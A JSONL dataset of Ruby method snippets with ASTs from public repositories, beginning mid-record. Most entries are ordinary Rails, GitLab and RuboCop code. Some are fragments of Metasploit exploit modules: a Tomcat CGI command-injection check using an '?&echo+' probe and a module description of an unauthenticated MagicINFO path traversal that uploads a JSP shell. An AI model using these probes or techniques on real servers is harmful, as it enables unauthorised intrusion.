"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"bdca7b24-29e3-4b18-8c6e-48c869011e75"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/vnc/ultravnc_client.rb","start_line":60,"raw_source":"def on_client_connect(client)\n rfb = \"RFB 003.006\\n\"\n\n client.put(rfb)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_connect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rfb\",{\"type\":\"str\",\"children\":[\"RFB 003.006\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"rfb\"]}]}]}]}","id":"9d193e3e-f4e0-47e9-9836-37279a4ab6ee"} {"repo_name":"ahoy","file_path":"./repos/ahoy/test/api_test.rb","start_line":151,"raw_source":"def test_renew_cookies\n post ahoy_engine.visits_url, params: {visit_token: random_token, visitor_token: random_token, js: true}\n assert_equal [\"ahoy_visit\"], response.cookies.keys\n end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_renew_cookies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ahoy_engine\"]},\"visits_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visit_token\"]},{\"type\":\"send\",\"children\":[null,\"random_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visitor_token\"]},{\"type\":\"send\",\"children\":[null,\"random_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"js\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ahoy_visit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"cookies\"]},\"keys\"]}]}]}]}","id":"66963a46-b0d0-4ad8-85fe-fb43f8950c35"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/ancestor_filter.rb","start_line":59,"raw_source":"def type_strategy\n # Instead of getting the IDs of all the projects a user is allowed\n # to see we only check that the value is an integer. Non valid ids\n # will then simply create an empty result but will not cause any\n # harm.\n @type_strategy ||= ::Queries::Filters::Strategies::IntegerList.new(self)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"type_strategy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@type_strategy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Filters\"]},\"Strategies\"]},\"IntegerList\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"acf9a0c1-e2f8-44f3-a362-c993d29dced1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":558,"raw_source":"def after_push_commit(branch_name)\n expire_statistics_caches\n expire_branch_cache(branch_name)\n\n repository_event(:push_commit, branch: branch_name)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"after_push_commit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expire_statistics_caches\"]},{\"type\":\"send\",\"children\":[null,\"expire_branch_cache\",{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]},{\"type\":\"send\",\"children\":[null,\"repository_event\",{\"type\":\"sym\",\"children\":[\"push_commit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]}]}]}]}]}","id":"12d9f075-e9a4-402c-94da-cfde16061f46"} {"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/openai/tools.rb","start_line":36,"raw_source":"def format_tool_calls(tool_calls)\n return nil unless tool_calls&.any?\n\n tool_calls.map do |_, tc|\n {\n id: tc.id,\n type: 'function',\n function: {\n name: tc.name,\n arguments: JSON.generate(tc.arguments)\n }\n }\n end\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"format_tool_calls\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool_calls\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_calls\"]},\"any?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_calls\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"tc\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tc\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"function\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tc\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arguments\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"generate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tc\"]},\"arguments\"]}]}]}]}]}]}]}]}]}","id":"3233a0a2-9aab-4619-8443-2144b2c2e2d6"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/cookies_test.rb","start_line":1495,"raw_source":"def test_cookies_precedence_over_request_cookies\n @request.cookies[\"user_name\"] = \"andrew\"\n get :authenticate\n assert_equal \"david\", cookies[\"user_name\"]\n assert_equal \"david\", cookies[:user_name]\n\n get :noop\n assert_equal \"david\", cookies[\"user_name\"]\n assert_equal \"david\", cookies[:user_name]\n end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cookies_precedence_over_request_cookies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"cookies\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"user_name\"]},{\"type\":\"str\",\"children\":[\"andrew\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"authenticate\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"david\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"david\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"noop\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"david\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"david\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_name\"]}]}]}]}]}","id":"8c2c0551-3663-4e23-8e89-21b5fbef710d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/external_username_sanitizer.rb","start_line":39,"raw_source":"def validated_path(path)\n Gitlab::Utils::Uniquify.new.string(path) do |s|\n !NamespacePathValidator.valid_path?(s)\n end\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validated_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"Uniquify\"]},\"new\"]},\"string\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NamespacePathValidator\"]},\"valid_path?\",{\"type\":\"lvar\",\"children\":[\"s\"]}]},\"!\"]}]}]}","id":"dfd42d48-ec7b-4f3a-84a7-8f8c2d7d2fae"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/block_delimiters.rb","start_line":225,"raw_source":"def line_count_based_message(node)\n if node.multiline?\n 'Avoid using `{...}` for multi-line blocks.'\n else\n 'Prefer `{...}` over `do...end` for single-line blocks.'\n end\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"line_count_based_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"multiline?\"]},{\"type\":\"str\",\"children\":[\"Avoid using `{...}` for multi-line blocks.\"]},{\"type\":\"str\",\"children\":[\"Prefer `{...}` over `do...end` for single-line blocks.\"]}]}]}","id":"82b083df-f1d2-4903-8da5-490356c8d42c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/tomcat_cgi_cmdlineargs.rb","start_line":64,"raw_source":"def check\n sig = Rex::Text.rand_text_alpha(10)\n uri = normalize_uri(target_uri.path)\n uri << \"?&echo+#{sig}\"\n\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => uri\n })\n\n unless res\n vprint_error('No Response from server')\n return CheckCode::Unknown\n end\n\n if res.body.include?(sig)\n return CheckCode::Vulnerable\n end\n\n CheckCode::Safe\n end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sig\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?&echo+\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sig\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"No Response from server\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"sig\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}","id":"f7caad3d-3f13-4aa8-9777-da9973c51619"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":671,"raw_source":"def self.call(env)\n if /^\\/success/.match?(env[\"PATH_INFO\"])\n [200, { \"Content-Type\" => \"text/plain\", \"Content-Length\" => \"12\" }, [\"Hello World!\"]]\n else\n [404, { \"Content-Type\" => \"text/plain\", \"Content-Length\" => \"0\" }, []]\n end\n end","complexity_score":3.75,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^/success\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PATH_INFO\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Length\"]},{\"type\":\"str\",\"children\":[\"12\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Hello World!\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[404]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Length\"]},{\"type\":\"str\",\"children\":[\"0\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"f1cf962a-8322-480f-960a-650036b3c52a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/check_graceful_task.rb","start_line":12,"raw_source":"def run(args)\n options = %w[\n --parallel\n --format RuboCop::Formatter::GracefulFormatter\n ]\n\n # Convert from Rake::TaskArguments into an Array to make `any?` work as expected.\n cop_names = args.to_a\n\n if cop_names.any?\n list = cop_names.sort.join(',')\n options.concat ['--only', list]\n end\n\n puts <<~MSG\n Running RuboCop in graceful mode:\n rubocop #{options.join(' ')}\n\n This might take a while...\n MSG\n\n status_orig = RuboCop::CLI.new.run(options)\n status = RuboCop::Formatter::GracefulFormatter.adjusted_exit_status(status_orig)\n\n # We had to adjust the status which means we have silenced offenses. Notify Slack!\n notify_slack unless status_orig == status\n\n status\n end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"--parallel\"]},{\"type\":\"str\",\"children\":[\"--format\"]},{\"type\":\"str\",\"children\":[\"RuboCop::Formatter::GracefulFormatter\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cop_names\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"to_a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop_names\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop_names\"]},\"sort\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"--only\"]},{\"type\":\"lvar\",\"children\":[\"list\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Running RuboCop in graceful mode:\\n\"]},{\"type\":\"str\",\"children\":[\" rubocop \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"This might take a while...\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"status_orig\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"CLI\"]},\"new\"]},\"run\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"Formatter\"]},\"GracefulFormatter\"]},\"adjusted_exit_status\",{\"type\":\"lvar\",\"children\":[\"status_orig\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_orig\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"status\"]}]},null,{\"type\":\"send\",\"children\":[null,\"notify_slack\"]}]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}","id":"061ed580-23cd-48eb-bb1e-dffb4ebdb491"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/magicinfo_traversal.rb","start_line":7,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Samsung MagicINFO 9 Server Remote Code Execution (CVE-2024-7399)',\n 'Description' => %q{\n Remote Code Execution in Samsung MagicINFO 9 Server <= 21.1050.0.\n Remote code execution can be obtained by exploiting the path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet,\n which can be queried by an unauthenticated user to upload a JSP shell.\n By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT AUTHORITY\\SYSTEM.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Michael Heinzl', # MSF Module\n 'SSD Secure Disclosure' # Discovery and PoC\n ],\n 'References' => [\n ['URL', 'https://ssd-disclosure.com/ssd-advisory-samsung-magicinfo-unauthenticated-rce/'],\n ['URL', 'https://security.samsungtv.com/securityUpdates'],\n ['CVE', '2024-7399'] # SVE-2024-50018\n ],\n 'DisclosureDate' => '2025-04-30',\n 'DefaultOptions' => {\n 'RPORT' => 7002,\n 'SSL' => true\n },\n 'Platform' => [ 'windows' ],\n 'Arch' => [ ARCH_CMD ],\n 'Targets' => [\n [\n 'Java Server Page', {\n 'Platform' => %w[win],\n 'Arch' => ARCH_JAVA\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'Privileged' => true,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n\n register_options(\n [\n OptString.new('TARGETURI', [true, 'The URI for the MagicInfo web interface', '/MagicInfo']),\n OptInt.new('DEPTH', [true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 6])\n ]\n )\n end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Samsung MagicINFO 9 Server Remote Code Execution (CVE-2024-7399)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Remote Code Execution in Samsung MagicINFO 9 Server <= 21.1050.0.\\n\"]},{\"type\":\"str\",\"children\":[\" Remote code execution can be obtained by exploiting the path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet,\\n\"]},{\"type\":\"str\",\"children\":[\" which can be queried by an unauthenticated user to upload a JSP shell.\\n\"]},{\"type\":\"str\",\"children\":[\" By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT AUTHORITY\\\\SYSTEM.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Michael Heinzl\"]},{\"type\":\"str\",\"children\":[\"SSD Secure Disclosure\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://ssd-disclosure.com/ssd-advisory-samsung-magicinfo-unauthenticated-rce/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://security.samsungtv.com/securityUpdates\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-7399\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2025-04-30\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[7002]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"windows\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Java Server Page\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_JAVA\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI for the MagicInfo web interface\"]},{\"type\":\"str\",\"children\":[\"/MagicInfo\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"DEPTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The traversal depth. The FILE path will be prepended with ../ * DEPTH\"]},{\"type\":\"int\",\"children\":[6]}]}]}]}]}]}]}","id":"7f966511-f741-4db5-8362-fa64e4b23183"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":1720,"raw_source":"def command_queue_options(queue_options)\n {\n :class_name => self.class.name,\n :instance_id => id,\n :role => \"ems_operations\",\n :queue_name => queue_name_for_ems_operations,\n :zone => my_zone,\n }.merge(queue_options)\n 